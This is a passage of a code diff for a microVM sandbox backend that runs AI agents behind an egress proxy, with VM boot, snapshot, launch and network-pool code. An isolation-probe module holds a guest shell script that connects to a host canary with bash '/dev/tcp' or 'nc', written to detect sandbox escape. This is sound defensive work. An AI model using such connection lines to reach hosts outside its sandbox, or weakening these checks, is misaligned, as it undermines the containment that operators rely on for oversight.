["docker", "ps", "-a", "--format", "{{.Names}}",
"--filter", f"name={_SIDECAR_PREFIX}"],
capture_output=True, text=True, check=False,
)
if result.returncode != 0:
return []
return sorted(n.strip() for n in result.stdout.splitlines() if n.strip())
def _run_dirs() -> list[str]:
run_root = _run_root()
if not run_root.is_dir():
return []
return sorted(str(p) for p in run_root.iterdir() if p.is_dir())
def prepare_cleanup() -> FirecrackerBottleCleanupPlan:
return FirecrackerBottleCleanupPlan(
vm_pids=tuple(_orphan_vm_pids()),
containers=tuple(_sidecar_containers()),
run_dirs=tuple(_run_dirs()),
)
def cleanup(plan: FirecrackerBottleCleanupPlan) -> None:
for pid in plan.vm_pids:
info(f"kill firecracker VM pid {pid}")
try:
os.kill(pid, signal.SIGTERM)
except ProcessLookupError:
pass
for name in plan.containers:
info(f"docker rm -f {name}")
subprocess.run(
["docker", "rm", "-f", name],
stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, check=False,
)
for path in plan.run_dirs:
info(f"rm -rf {path}")
shutil.rmtree(path, ignore_errors=True)
@@ -0,0 +1,43 @@
"""Active-agent enumeration for the Firecracker backend.
The agent runs in a VM (no container to list), so a live bottle is
identified by its running sidecar container `bot-bottle-sidecars-<slug>`
— the same discovery-by-prefix the other backends use.
"""
from __future__ import annotations
import subprocess
from ...bottle_state import read_metadata
from .. import ActiveAgent
_SIDECAR_PREFIX = "bot-bottle-sidecars-"
def enumerate_active() -> list[ActiveAgent]:
result = subprocess.run(
["docker", "ps", "--format", "{{.Names}}",
"--filter", f"name={_SIDECAR_PREFIX}"],
capture_output=True, text=True, check=False,
)
if result.returncode != 0:
return []
out: list[ActiveAgent] = []
for name in sorted(n.strip() for n in result.stdout.splitlines() if n.strip()):
slug = name[len(_SIDECAR_PREFIX):]
metadata = read_metadata(slug)
if metadata is None or metadata.backend != "firecracker":
# Skip sidecars owned by another backend (docker shares the
# container-name prefix).
continue
out.append(ActiveAgent(
backend_name="firecracker",
slug=slug,
agent_name=metadata.agent_name,
started_at=metadata.started_at,
services=(),
label=metadata.label,
color=metadata.color,
))
return out
@@ -0,0 +1,173 @@
"""Firecracker microVM process lifecycle.
A bottle VM is one `firecracker` process booted from a JSON config
(kernel + writable rootfs ext4 + one TAP network interface). We run it
`--no-api`: all configuration is in the config file, and teardown is a
process signal — the microVM dies with its VMM, which is exactly the
ephemeral-bottle semantics we want. No API socket, no runtime
reconfiguration.
The guest gets its IP from the kernel `ip=` cmdline (kernel-level
autoconfig, no in-guest iproute2) and its SSH pubkey from a `bb_pubkey=`
cmdline arg the init decodes.
"""
from __future__ import annotations
import base64
import json
import signal
import subprocess
import time
from dataclasses import dataclass
from pathlib import Path
from ...log import die, info
from . import util
# Serial console off the critical path but captured to a log for
# debugging boot failures. `reboot=k panic=1 pci=off` are the standard
# Firecracker guest args; `i8042.*` skip the (absent) PS/2 probe to
# shave boot time.
_BASE_BOOT_ARGS = (
"console=ttyS0 reboot=k panic=1 pci=off "
"i8042.noaux i8042.nomux i8042.nopnp i8042.dumbkbd "
"root=/dev/vda rw init=/bb-init"
)
@dataclass
class VmHandle:
"""A running microVM: its VMM process, guest IP, and console log."""
process: subprocess.Popen[bytes]
guest_ip: str
console_log: Path
def is_alive(self) -> bool:
return self.process.poll() is None
def terminate(self) -> None:
"""Stop the VMM (and thus the guest). SIGTERM, then SIGKILL."""
if self.process.poll() is not None:
return
self.process.send_signal(signal.SIGTERM)
try:
self.process.wait(timeout=5)
except subprocess.TimeoutExpired:
self.process.kill()
self.process.wait(timeout=5)
def _boot_args(guest_ip: str, host_ip: str, pubkey: str) -> str:
# ip=<client>::<gw>:<netmask>::<dev>:off — /31 point-to-point link,
# so netmask is 255.255.255.254 and the gateway is the host TAP IP.
ip_arg = f"ip={guest_ip}::{host_ip}:255.255.255.254::eth0:off"
pub_b64 = base64.b64encode(pubkey.encode()).decode()
return f"{_BASE_BOOT_ARGS} {ip_arg} bb_pubkey={pub_b64}"
def _config(
*,
rootfs: Path,
tap: str,
guest_ip: str,
host_ip: str,
pubkey: str,
vcpus: int,
mem_mib: int,
guest_mac: str,
) -> dict[str, object]:
return {
"boot-source": {
"kernel_image_path": str(util.kernel_path()),
"boot_args": _boot_args(guest_ip, host_ip, pubkey),
},
"drives": [
{
"drive_id": "rootfs",
"path_on_host": str(rootfs),
"is_root_device": True,
"is_read_only": False,
}
],
"network-interfaces": [
{
"iface_id": "eth0",
"host_dev_name": tap,
"guest_mac": guest_mac,
}
],
"machine-config": {
"vcpu_count": vcpus,
"mem_size_mib": mem_mib,
},
}
def boot(
*,
name: str,
rootfs: Path,
tap: str,
guest_ip: str,
host_ip: str,
pubkey: str,
run_dir: Path,
vcpus: int = 2,
mem_mib: int = 2048,
guest_mac: str = "06:00:AC:10:00:02",
) -> VmHandle:
"""Write the config and launch the VMM. Returns once the process is
spawned; callers wait for SSH readiness separately."""
run_dir.mkdir(parents=True, exist_ok=True)
config_path = run_dir / "config.json"
console_log = run_dir / "console.log"
config_path.write_text(json.dumps(
_config(
rootfs=rootfs, tap=tap, guest_ip=guest_ip, host_ip=host_ip,
pubkey=pubkey, vcpus=vcpus, mem_mib=mem_mib, guest_mac=guest_mac,
),
indent=2,
))
info(f"booting microVM {name} on {tap} (guest {guest_ip})")
log_fh = console_log.open("wb")
process = subprocess.Popen(
["firecracker", "--no-api", "--config-file", str(config_path)],
stdout=log_fh, stderr=subprocess.STDOUT, stdin=subprocess.DEVNULL,
)
return VmHandle(process=process, guest_ip=guest_ip, console_log=console_log)
def wait_for_ssh(
vm: VmHandle, private_key: Path, *, timeout: float = 30.0,
) -> None:
"""Poll SSH until the guest accepts a command or the deadline
passes. Dies (with the console tail) if the VMM exits early or the
guest never comes up — a boot failure must be loud, not a hang."""
deadline = time.monotonic() + timeout
probe = util.ssh_base_argv(private_key, vm.guest_ip) + ["true"]
while time.monotonic() < deadline:
if not vm.is_alive():
die(f"microVM exited during boot (rc={vm.process.returncode}).\n"
f"{_console_tail(vm.console_log)}")
result = subprocess.run(
probe, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,
check=False,
)
if result.returncode == 0:
return
time.sleep(0.5)
die(f"microVM {vm.guest_ip} did not accept SSH within {timeout:.0f}s.\n"
f"{_console_tail(vm.console_log)}")
def _console_tail(console_log: Path, lines: int = 25) -> str:
try:
text = console_log.read_text(errors="replace").splitlines()
except OSError:
return "(no console log)"
tail = "\n".join(text[-lines:])
return f"--- guest console (last {lines} lines) ---\n{tail}"
+76
View File
@@ -0,0 +1,76 @@
"""FirecrackerFreezer — snapshot a running microVM to a Docker image.
The VM is live and can't be block-copied safely, so — like the macOS
backend — we stream the guest root filesystem out over the control
channel (SSH here) and rebuild an image from it. The bottle keeps
running after the snapshot.
"""
from __future__ import annotations
import json
import os
import subprocess
import tempfile
from pathlib import Path
from ...log import die, info
from .. import ActiveAgent
from ..freeze import Freezer
from . import util
class FirecrackerFreezer(Freezer):
backend_name = "firecracker"
def _freeze(self, agent: ActiveAgent) -> str:
run_dir = util.cache_dir() / "run" / agent.slug
private_key = run_dir / "bottle_id_ed25519"
guest_ip = _guest_ip_from_config(run_dir / "config.json")
if not private_key.is_file() or not guest_ip:
die(f"cannot freeze {agent.slug}: run dir {run_dir} is missing the "
f"SSH key or VM config (is the bottle still running?)")
image_tag = f"bot-bottle-committed-{agent.slug}:latest"
_commit_via_ssh(private_key, guest_ip, image_tag)
info(f"committed {agent.slug} -> {image_tag!r}")
return image_tag
def _export_hint(self, slug: str, image_ref: str) -> None:
info(f"to export for migration: docker image save {image_ref} "
f"-o {slug}.tar")
def _guest_ip_from_config(config_path: Path) -> str:
try:
cfg = json.loads(config_path.read_text())
except (OSError, json.JSONDecodeError):
return ""
boot_args = cfg.get("boot-source", {}).get("boot_args", "")
for token in boot_args.split():
if token.startswith("ip="):
# ip=<client>::<gw>:<mask>::<dev>:off
return token[len("ip="):].split(":", 1)[0]
return ""
def _commit_via_ssh(private_key: Path, guest_ip: str, image_tag: str) -> None:
with tempfile.TemporaryDirectory(prefix="bot-bottle-fc-commit.") as tmp:
rootfs_tar = os.path.join(tmp, "rootfs.tar")
ssh = util.ssh_base_argv(private_key, guest_ip)
with open(rootfs_tar, "wb") as tar_out:
result = subprocess.run(
[*ssh, "--", "tar", "--create", "--one-file-system",
"--exclude=./proc", "--exclude=./sys", "--exclude=./dev",
"--exclude=./run", "--file=-", "--directory=/", "."],
stdout=tar_out, stderr=subprocess.PIPE, check=False,
)
if result.returncode != 0:
die(f"ssh tar for {guest_ip} failed: "
f"{(result.stderr or b'').decode().strip() or '<no stderr>'}")
with open(os.path.join(tmp, "Dockerfile"), "w", encoding="utf-8") as f:
f.write("FROM scratch\nADD rootfs.tar /\nUSER node\nWORKDIR /home/node\n")
build = subprocess.run(
["docker", "build", "-t", image_tag, tmp], check=False,
)
if build.returncode != 0:
die(f"docker build for {image_tag!r} failed")
@@ -0,0 +1,116 @@
"""Empirical, post-boot isolation probe — the authoritative fail-closed
egress-boundary check.
The pre-boot nft check can't be trusted on every host (listing an
nftables table typically needs root; the launcher runs unprivileged).
So before the agent ever runs, we prove the boundary directly: open a
canary TCP listener on a host IP the VM must NOT be able to reach (the
host's primary non-TAP address), then have the guest try to connect. If
the isolation rules are in force the connection is dropped and times
out; if it succeeds, the VM can reach host services it shouldn't — a
sandbox escape — and we refuse to continue.
The listener is load-bearing: without it a "blocked" result could just
be connection-refused. With it, a reachable canary means a real leak
and a timeout means a real drop.
"""
from __future__ import annotations
import socket
import subprocess
import threading
from pathlib import Path
from ...log import die, info, warn
from . import util
def _host_primary_ip() -> str:
"""The source IP the host uses for off-box traffic (its LAN
address) — a canary the VM must not reach. Empty if the host has no
such route (isolated box)."""
result = subprocess.run(
["ip", "-o", "route", "get", "1.1.1.1"],
capture_output=True, text=True, check=False,
)
if result.returncode != 0:
return ""
tokens = result.stdout.split()
# `... src <addr> ...` — the address the host would use as source.
if "src" in tokens:
idx = tokens.index("src")
if idx + 1 < len(tokens):
return tokens[idx + 1]
return ""
# Guest-side connect test: exit 0 = reached the canary (LEAK), 1 =
# blocked (good), 2 = no usable tool (inconclusive -> fail-closed).
_GUEST_PROBE = r"""
h="$1"; p="$2"
if command -v python3 >/dev/null 2>&1; then
python3 - "$h" "$p" <<'PY'
import socket, sys
s = socket.socket(); s.settimeout(3)
sys.exit(0 if s.connect_ex((sys.argv[1], int(sys.argv[2]))) == 0 else 1)
PY
elif command -v bash >/dev/null 2>&1; then
timeout 3 bash -c "exec 3<>/dev/tcp/$h/$p" >/dev/null 2>&1
elif command -v nc >/dev/null 2>&1; then
nc -w3 -z "$h" "$p" >/dev/null 2>&1
else
exit 2
fi
"""
def verify_isolation(private_key: Path, guest_ip: str) -> None:
"""Prove the VM cannot reach the host's primary IP. Dies
(fail-closed) on a confirmed leak or if the guest has no tool to
run the test. Warns (does not fail) when the host has no canary
address to test against."""
canary_ip = _host_primary_ip()
if not canary_ip:
warn("isolation probe skipped: host has no non-TAP route to test "
"against (isolated box).")
return
listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
listener.bind((canary_ip, 0))
listener.listen(1)
listener.settimeout(6)
canary_port = listener.getsockname()[1]
accepted: list[bool] = []
def _accept() -> None:
try:
conn, _ = listener.accept()
accepted.append(True)
conn.close()
except OSError:
pass
thread = threading.Thread(target=_accept, daemon=True)
thread.start()
ssh = util.ssh_base_argv(private_key, guest_ip)
result = subprocess.run(
[*ssh, "--", "sh", "-s", "--", canary_ip, str(canary_port)],
input=_GUEST_PROBE, capture_output=True, text=True, check=False,
)
thread.join(timeout=7)
listener.close()
if result.returncode == 0 or accepted:
die(f"ISOLATION FAILURE: the VM reached the host canary "
f"{canary_ip}:{canary_port}. The egress boundary is not in "
f"force — refusing to run the agent (fail-closed). Verify the "
f"nft table with: ./cli.py backend setup --backend=firecracker")
if result.returncode == 2:
die("isolation probe inconclusive: the guest has no python3/bash/nc "
"to run the connectivity test. Refusing to continue "
"(fail-closed).")
info(f"isolation verified: VM cannot reach host {canary_ip}")
+404
View File
@@ -0,0 +1,404 @@
"""Launch flow for the Firecracker backend.
Per bottle:
1. mint the egress CA, build the agent image (docker), export it to a
cached ext4 rootfs;
2. claim a free TAP pool slot (rootless flock);
3. bring up the Docker sidecar bundle, publishing egress / git-gate /
supervise on the slot's host-side TAP IP at fixed ports;
4. boot the microVM on that TAP; wait for SSH;
5. provision (CA, prompt, skills, workspace, git, supervise) over SSH.
Isolation is enforced by the operator-provisioned nft table (checked
fail-closed in preflight): a VM reaches only its sidecar (DNAT'd from
the host TAP IP) and nothing else. The agent's HTTPS_PROXY therefore
points at `http://<host_tap_ip>:9099`, its only route to the world.
"""
from __future__ import annotations
import dataclasses
import os
import subprocess
from contextlib import ExitStack, contextmanager
from pathlib import Path
from typing import Callable, Generator
from ...bottle_state import (
egress_state_dir,
git_gate_state_dir,
read_committed_image,
)
from ...egress import (
EGRESS_ROUTES_IN_CONTAINER,
egress_agent_env_entries,
egress_resolve_token_values,
egress_sidecar_env_entries,
)
from ...git_gate import (
provision_git_gate_dynamic_keys,
revoke_git_gate_provisioned_keys,
)
from ...log import die, info, warn
from ...supervise import DB_PATH_IN_CONTAINER, SUPERVISE_PORT
from ...util import expand_tilde
from ..docker.egress import (
EGRESS_CA_IN_CONTAINER,
EGRESS_PORT,
egress_tls_init,
)
from ..docker.git_gate import (
GIT_GATE_ACCESS_HOOK_IN_CONTAINER,
GIT_GATE_CREDS_DIR_IN_CONTAINER,
GIT_GATE_ENTRYPOINT_IN_CONTAINER,
GIT_GATE_HOOK_IN_CONTAINER,
)
from ..docker.sidecar_bundle import (
SIDECAR_BUNDLE_DOCKERFILE,
SIDECAR_BUNDLE_IMAGE,
)
from ..util import AGENT_CA_BUNDLE, AGENT_CA_PATH
from . import firecracker_vm, isolation_probe, netpool, util
from .bottle import FirecrackerBottle
from .bottle_plan import FirecrackerBottlePlan
_REPO_DIR = str(Path(__file__).resolve().parent.parent.parent.parent)
_GIT_HTTP_PORT = 9420
_GIT_GATE_READY_FILE = "/run/git-gate/ready"
def sidecar_container_name(slug: str) -> str:
return f"bot-bottle-sidecars-{slug}"
@contextmanager
def launch(
plan: FirecrackerBottlePlan,
*,
provision: Callable[[FirecrackerBottlePlan, "FirecrackerBottle"], str | None],
) -> Generator[FirecrackerBottle, None, None]:
stack = ExitStack()
bottle_for_revoke = plan.manifest.bottle
git_gate_dir_for_revoke = git_gate_state_dir(plan.slug)
def teardown() -> None:
teardown_exc: BaseException | None = None
try:
stack.close()
except BaseException as exc: # noqa: W0718 - teardown must continue
teardown_exc = exc
warn(f"firecracker teardown failed: {exc!r}")
revoke_git_gate_provisioned_keys(bottle_for_revoke, git_gate_dir_for_revoke)
if teardown_exc is not None:
raise teardown_exc
try:
plan = _mint_certs(plan)
plan = _build_agent_image(plan)
# Claim a TAP slot; the flock is held until teardown closes it.
slot, lock = netpool.allocate(plan.slug)
stack.callback(lock.close)
info(f"firecracker slot {slot.iface}: host={slot.host_ip} "
f"guest={slot.guest_ip}")
plan = _provision_git_gate_keys(plan)
sidecar_name = sidecar_container_name(plan.slug)
_force_remove_container(sidecar_name)
_start_sidecar_bundle(plan, sidecar_name, slot.host_ip)
stack.callback(_force_remove_container, sidecar_name)
_stage_git_gate(plan, sidecar_name)
plan = _stamp_agent_urls(plan, slot.host_ip)
# Build the per-bottle rootfs + SSH key, then boot.
base_dir = util.build_base_rootfs_dir(plan.image)
run_dir = util.cache_dir() / "run" / plan.slug
run_dir.mkdir(parents=True, exist_ok=True)
rootfs = run_dir / "rootfs.ext4"
util.build_rootfs_ext4(base_dir, rootfs)
private_key, pubkey = util.generate_keypair(run_dir)
vm = firecracker_vm.boot(
name=plan.container_name,
rootfs=rootfs,
tap=slot.iface,
guest_ip=slot.guest_ip,
host_ip=slot.host_ip,
pubkey=pubkey,
run_dir=run_dir,
)
stack.callback(vm.terminate)
firecracker_vm.wait_for_ssh(vm, private_key)
# Authoritative fail-closed egress-boundary check, before the
# agent runs: prove the VM cannot reach the host directly.
isolation_probe.verify_isolation(private_key, slot.guest_ip)
bottle = FirecrackerBottle(
plan.container_name,
private_key=private_key,
guest_ip=slot.guest_ip,
guest_env=_agent_guest_env(plan, slot.host_ip),
agent_command=plan.agent_command,
agent_prompt_mode=plan.agent_prompt_mode,
agent_provider_template=plan.agent_provider_template,
terminal_title=(
f"{plan.spec.label} ({plan.spec.agent_name})"
if plan.spec.label else plan.spec.agent_name
),
terminal_color=plan.spec.color,
agent_workdir=plan.workspace_plan.workdir,
)
bottle.prompt_path = provision(plan, bottle)
yield bottle
finally:
teardown()
def _mint_certs(plan: FirecrackerBottlePlan) -> FirecrackerBottlePlan:
egress_ca_host, egress_ca_cert_only = egress_tls_init(egress_state_dir(plan.slug))
egress_plan = dataclasses.replace(
plan.egress_plan,
mitmproxy_ca_host_path=egress_ca_host,
mitmproxy_ca_cert_only_host_path=egress_ca_cert_only,
)
return dataclasses.replace(plan, egress_plan=egress_plan)
def _build_agent_image(plan: FirecrackerBottlePlan) -> FirecrackerBottlePlan:
_docker_build(SIDECAR_BUNDLE_IMAGE, _REPO_DIR, dockerfile=SIDECAR_BUNDLE_DOCKERFILE)
committed = read_committed_image(plan.slug)
if committed and _image_exists(committed):
info(f"using committed image {committed!r}")
return dataclasses.replace(
plan,
agent_provision=dataclasses.replace(plan.agent_provision, image=committed),
)
_docker_build(plan.image, _REPO_DIR, dockerfile=plan.dockerfile_path)
return plan
def _provision_git_gate_keys(plan: FirecrackerBottlePlan) -> FirecrackerBottlePlan:
if not plan.git_gate_plan.upstreams:
return plan
git_gate_plan = provision_git_gate_dynamic_keys(
plan.manifest.bottle, plan.git_gate_plan, git_gate_state_dir(plan.slug),
)
return dataclasses.replace(plan, git_gate_plan=git_gate_plan)
def _stamp_agent_urls(
plan: FirecrackerBottlePlan, host_ip: str,
) -> FirecrackerBottlePlan:
proxy_url = f"http://{host_ip}:{EGRESS_PORT}"
supervise_url = (
f"http://{host_ip}:{SUPERVISE_PORT}/" if plan.supervise_plan is not None else ""
)
git_gate_url = (
f"http://{host_ip}:{_GIT_HTTP_PORT}" if plan.git_gate_plan.upstreams else ""
)
return dataclasses.replace(
plan,
agent_proxy_url=proxy_url,
agent_git_gate_url=git_gate_url,
agent_supervise_url=supervise_url,
)
# --- sidecar bundle (Docker) ----------------------------------------
def _start_sidecar_bundle(
plan: FirecrackerBottlePlan, sidecar_name: str, host_ip: str,
) -> None:
argv = ["docker", "run", "--name", sidecar_name, "--detach", "--rm",
"-e", f"BOT_BOTTLE_SIDECAR_DAEMONS={','.join(_sidecar_daemons(plan))}"]
for entry in _sidecar_env_entries(plan):
argv += ["-e", entry]
for host_path, container_path, read_only in _sidecar_mounts(plan):
argv += ["-v", f"{host_path}:{container_path}{':ro' if read_only else ''}"]
# Publish on the slot's host TAP IP at fixed ports — each bottle
# has a distinct host_ip, so fixed ports never collide, and the VM
# reaches them at a stable, well-known address (its only route out).
for port in _sidecar_ports(plan):
argv += ["-p", f"{host_ip}:{port}:{port}"]
argv.append(SIDECAR_BUNDLE_IMAGE)
effective_env = {**dict(os.environ), **plan.agent_provision.provisioned_env}
token_values = egress_resolve_token_values(
plan.egress_plan.token_env_map, effective_env,
)
env = {**os.environ, **token_values}
info(f"docker run sidecar bundle {sidecar_name} (published on {host_ip})")
result = subprocess.run(argv, capture_output=True, text=True, env=env, check=False)
if result.returncode != 0:
die(f"docker run for sidecar bundle {sidecar_name} failed: "
f"{(result.stderr or '').strip() or '<no stderr>'}")
def _sidecar_daemons(plan: FirecrackerBottlePlan) -> tuple[str, ...]:
daemons = ["egress"]
if plan.git_gate_plan.upstreams:
daemons += ["git-gate", "git-http"]
if plan.supervise_plan is not None:
daemons.append("supervise")
return tuple(daemons)
def _sidecar_ports(plan: FirecrackerBottlePlan) -> tuple[int, ...]:
ports = [EGRESS_PORT]
if plan.git_gate_plan.upstreams:
ports.append(_GIT_HTTP_PORT)
if plan.supervise_plan is not None:
ports.append(SUPERVISE_PORT)
return tuple(ports)
def _sidecar_env_entries(plan: FirecrackerBottlePlan) -> tuple[str, ...]:
env: list[str] = list(egress_sidecar_env_entries(plan.egress_plan))
if plan.git_gate_plan.upstreams:
env.append(f"BOT_BOTTLE_GIT_GATE_READY_FILE={_GIT_GATE_READY_FILE}")
if plan.supervise_plan is not None:
env += [
f"SUPERVISE_BOTTLE_SLUG={plan.slug}",
f"SUPERVISE_DB_PATH={DB_PATH_IN_CONTAINER}",
f"SUPERVISE_PORT={SUPERVISE_PORT}",
]
return tuple(env)
def _sidecar_mounts(
plan: FirecrackerBottlePlan,
) -> tuple[tuple[str, str, bool], ...]:
mounts: list[tuple[str, str, bool]] = []
ep = plan.egress_plan
mounts.append((str(ep.mitmproxy_ca_host_path.parent),
str(Path(EGRESS_CA_IN_CONTAINER).parent), False))
if ep.routes:
mounts.append((str(ep.routes_path.parent),
str(Path(EGRESS_ROUTES_IN_CONTAINER).parent), True))
sp = plan.supervise_plan
if sp is not None:
mounts.append((str(sp.db_path.parent),
str(Path(DB_PATH_IN_CONTAINER).parent), False))
return tuple(mounts)
def _stage_git_gate(plan: FirecrackerBottlePlan, sidecar_name: str) -> None:
gp = plan.git_gate_plan
if not gp.upstreams:
return
_docker_exec(sidecar_name, [
"mkdir", "-p",
str(Path(GIT_GATE_HOOK_IN_CONTAINER).parent),
GIT_GATE_CREDS_DIR_IN_CONTAINER, "/git",
str(Path(_GIT_GATE_READY_FILE).parent),
])
for host_path, container_path in _git_gate_files(plan):
_docker_cp(host_path, f"{sidecar_name}:{container_path}")
_docker_exec(sidecar_name, [
"sh", "-c",
f"chmod 755 {GIT_GATE_ENTRYPOINT_IN_CONTAINER} "
f"{GIT_GATE_HOOK_IN_CONTAINER} {GIT_GATE_ACCESS_HOOK_IN_CONTAINER} && "
f"chmod 600 {GIT_GATE_CREDS_DIR_IN_CONTAINER}/* && "
f"touch {_GIT_GATE_READY_FILE}",
])
def _git_gate_files(plan: FirecrackerBottlePlan) -> tuple[tuple[str, str], ...]:
gp = plan.git_gate_plan
files: list[tuple[str, str]] = [
(str(gp.entrypoint_script), GIT_GATE_ENTRYPOINT_IN_CONTAINER),
(str(gp.hook_script), GIT_GATE_HOOK_IN_CONTAINER),
(str(gp.access_hook_script), GIT_GATE_ACCESS_HOOK_IN_CONTAINER),
]
for upstream in gp.upstreams:
files.append((expand_tilde(upstream.identity_file),
f"{GIT_GATE_CREDS_DIR_IN_CONTAINER}/{upstream.name}-key"))
if upstream.known_hosts_file:
files.append((str(upstream.known_hosts_file),
f"{GIT_GATE_CREDS_DIR_IN_CONTAINER}/{upstream.name}-known_hosts"))
return tuple(files)
# --- agent guest env -------------------------------------------------
def _agent_guest_env(plan: FirecrackerBottlePlan, host_ip: str) -> dict[str, str]:
"""Env injected into every agent/exec call over SSH. The VM has no
baked process env (it just runs init), so the proxy/CA/git/supervise
wiring is applied per-invocation."""
proxy_url = f"http://{host_ip}:{EGRESS_PORT}"
no_proxy = f"localhost,127.0.0.1,{host_ip}"
env: dict[str, str] = {
"HTTPS_PROXY": proxy_url, "HTTP_PROXY": proxy_url,
"https_proxy": proxy_url, "http_proxy": proxy_url,
"NO_PROXY": no_proxy, "no_proxy": no_proxy,
"NODE_EXTRA_CA_CERTS": AGENT_CA_PATH,
"SSL_CERT_FILE": AGENT_CA_BUNDLE,
"REQUESTS_CA_BUNDLE": AGENT_CA_BUNDLE,
}
if plan.agent_git_gate_url:
env["GIT_GATE_URL"] = plan.agent_git_gate_url
if plan.agent_supervise_url:
env["MCP_SUPERVISE_URL"] = plan.agent_supervise_url
for entry in egress_agent_env_entries(plan.egress_plan):
key, _, value = entry.partition("=")
env[key] = value
env.update(plan.agent_provision.guest_env)
# Forwarded (bare-name) env: resolve host values now, since the VM
# can't inherit them from a `docker run --env NAME`.
for name in plan.forwarded_env:
value = os.environ.get(name)
if value is not None:
env[name] = value
return env
# --- docker helpers --------------------------------------------------
def _docker_build(ref: str, context: str, *, dockerfile: str = "") -> None:
info(f"docker build {ref}")
args = ["docker", "build", "-t", ref]
if dockerfile:
if not os.path.isabs(dockerfile):
dockerfile = os.path.join(context, dockerfile)
args += ["-f", dockerfile]
args.append(context)
result = subprocess.run(args, check=False)
if result.returncode != 0:
die(f"docker build for {ref!r} failed")
def _image_exists(ref: str) -> bool:
return subprocess.run(
["docker", "image", "inspect", ref],
stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, check=False,
).returncode == 0
def _force_remove_container(name: str) -> None:
subprocess.run(
["docker", "rm", "-f", name],
stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, check=False,
)
def _docker_exec(name: str, argv: list[str]) -> None:
result = subprocess.run(
["docker", "exec", name, *argv], capture_output=True, text=True, check=False,
)
if result.returncode != 0:
die(f"docker exec in {name} failed: "
f"{(result.stderr or '').strip() or '<no stderr>'}")
def _docker_cp(host_path: str, dest: str) -> None:
result = subprocess.run(
["docker", "cp", host_path, dest], capture_output=True, text=True, check=False,
)
if result.returncode != 0:
die(f"docker cp {host_path} -> {dest} failed: "
f"{(result.stderr or '').strip() or '<no stderr>'}")
+290
View File
@@ -0,0 +1,290 @@
"""Firecracker network pool: constants, IP math, allocation, and the
config renderers (shell command + NixOS module) shown to operators.
The Firecracker backend needs a privileged one-time network setup:
a pool of point-to-point TAP devices (owned by the invoking user, so
`./cli.py start` never needs root) and a dedicated nftables table that
isolates every VM. This module is the single source of truth for the
pool parameters — the shell script (`scripts/firecracker-netpool.sh`),
the NixOS module (`nix/firecracker-netpool.nix`), and the backend's
fail-closed preflight all derive from these constants so they can't
drift.
Topology (per slot i):
* TAP ``bbfc{i}`` — no shared bridge, so no docker0 / virbr0 / cni0
/ br-* collisions.
* a /31 host<->guest link: host = base + 2i (the gateway the VM
routes through), guest = base + 2i + 1 (the VM's address).
* isolation via ``table inet bot_bottle_fc``: a VM reaches only its
own sidecar (DNAT'd from the host TAP IP) and nothing else.
The default IP block is ``10.243.0.0/16`` — an intentionally obscure
corner of RFC-1918 private space. RFC-1918 is the range *designated*
for private links; we pick a high, unusual /16 to steer clear of the
common occupants (Docker's 172.17-31, libvirt's 192.168.122, k8s
10.42/10.244, and typical home LANs on 192.168.0/1.x or 10.0.0.x).
We deliberately avoid ``100.64.0.0/10`` (RFC-6598 CGNAT) because
Tailscale hands out node addresses from exactly that range. No default
is collision-proof, so `overlapping_routes()` is the real guard —
`backend setup`/`status` and the launch preflight call it to catch
a base that clashes with something already on the host.
"""
from __future__ import annotations
import fcntl
import ipaddress
import os
import subprocess
from dataclasses import dataclass
from pathlib import Path
from typing import IO
from ...log import die
# Interface names are capped at 15 chars (IFNAMSIZ-1); "bbfc" + a small
# index stays well under that and is distinctive enough to grep for.
IFACE_PREFIX = os.environ.get("BOT_BOTTLE_FC_IFACE_PREFIX", "bbfc")
NFT_TABLE = "bot_bottle_fc"
def pool_size() -> int:
return int(os.environ.get("BOT_BOTTLE_FC_POOL_SIZE", "8"))
def ip_base() -> str:
return os.environ.get("BOT_BOTTLE_FC_IP_BASE", "10.243.0.0")
# Sidecar ports the VM reaches at its host-side TAP IP. Kept in sync
# with the backend constants (egress 9099, supervise 9100, git-http
# 9420); rendered into the setup output for operator visibility.
SIDECAR_PORTS = (9099, 9100, 9420)
@dataclass(frozen=True)
class Slot:
"""One pool slot: a TAP device and its host/guest /31 addresses."""
index: int
iface: str
host_ip: str
guest_ip: str
@property
def guest_cidr(self) -> str:
"""Guest address with the /31 prefix, for the kernel `ip=` arg."""
return f"{self.guest_ip}/31"
def slot(index: int) -> Slot:
base = int(ipaddress.IPv4Address(ip_base()))
return Slot(
index=index,
iface=f"{IFACE_PREFIX}{index}",
host_ip=str(ipaddress.IPv4Address(base + 2 * index)),
guest_ip=str(ipaddress.IPv4Address(base + 2 * index + 1)),
)
def all_slots() -> list[Slot]:
return [slot(i) for i in range(pool_size())]
# --- fail-closed verification ---------------------------------------
def _run_ok(argv: list[str]) -> bool:
"""Run a probe command, treating a missing binary as failure
(rather than crashing) so callers can stay fail-closed."""
try:
return subprocess.run(
argv, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,
check=False,
).returncode == 0
except FileNotFoundError:
return False
def nft_table_present() -> bool:
"""True iff the isolation table exists in the active nftables
backend. The backend's preflight treats absence as fatal — the VM
must not boot without its egress boundary in place.
Listing may require root; when it can't be confirmed here the
launch path falls back to an empirical post-boot isolation probe.
Returns False (fail-closed) if `nft` is unavailable."""
return _run_ok(["nft", "list", "table", "inet", NFT_TABLE])
def tap_present(iface: str) -> bool:
# `ip link show` is unprivileged, so the TAP-pool check is reliable
# for the non-root launcher.
return _run_ok(["ip", "link", "show", iface])
def missing_taps() -> list[str]:
"""Pool TAPs that the one-time setup has not created yet."""
return [s.iface for s in all_slots() if not tap_present(s.iface)]
@dataclass(frozen=True)
class RouteConflict:
"""An existing host route whose destination overlaps the pool range
but isn't one of our own bbfc TAPs — i.e. the chosen IP base clashes
with something already on the host (a Tailscale CGNAT peer, a
docker/libvirt bridge, the LAN…)."""
dst: str
dev: str
def _pool_span() -> tuple[int, int]:
"""Inclusive [first, last] integer bounds of every address the pool
occupies: base .. base + 2*pool_size - 1."""
base = int(ipaddress.IPv4Address(ip_base()))
return base, base + 2 * pool_size() - 1
def overlapping_routes() -> list[RouteConflict]:
"""Existing routes whose destination overlaps the pool's address
range, excluding our own `bbfc*` TAP routes and the default route.
A non-empty result means `BOT_BOTTLE_FC_IP_BASE` collides with
something already configured on this host, so the pool would shadow
(or be shadowed by) it. Empty on success — or when `ip` is missing
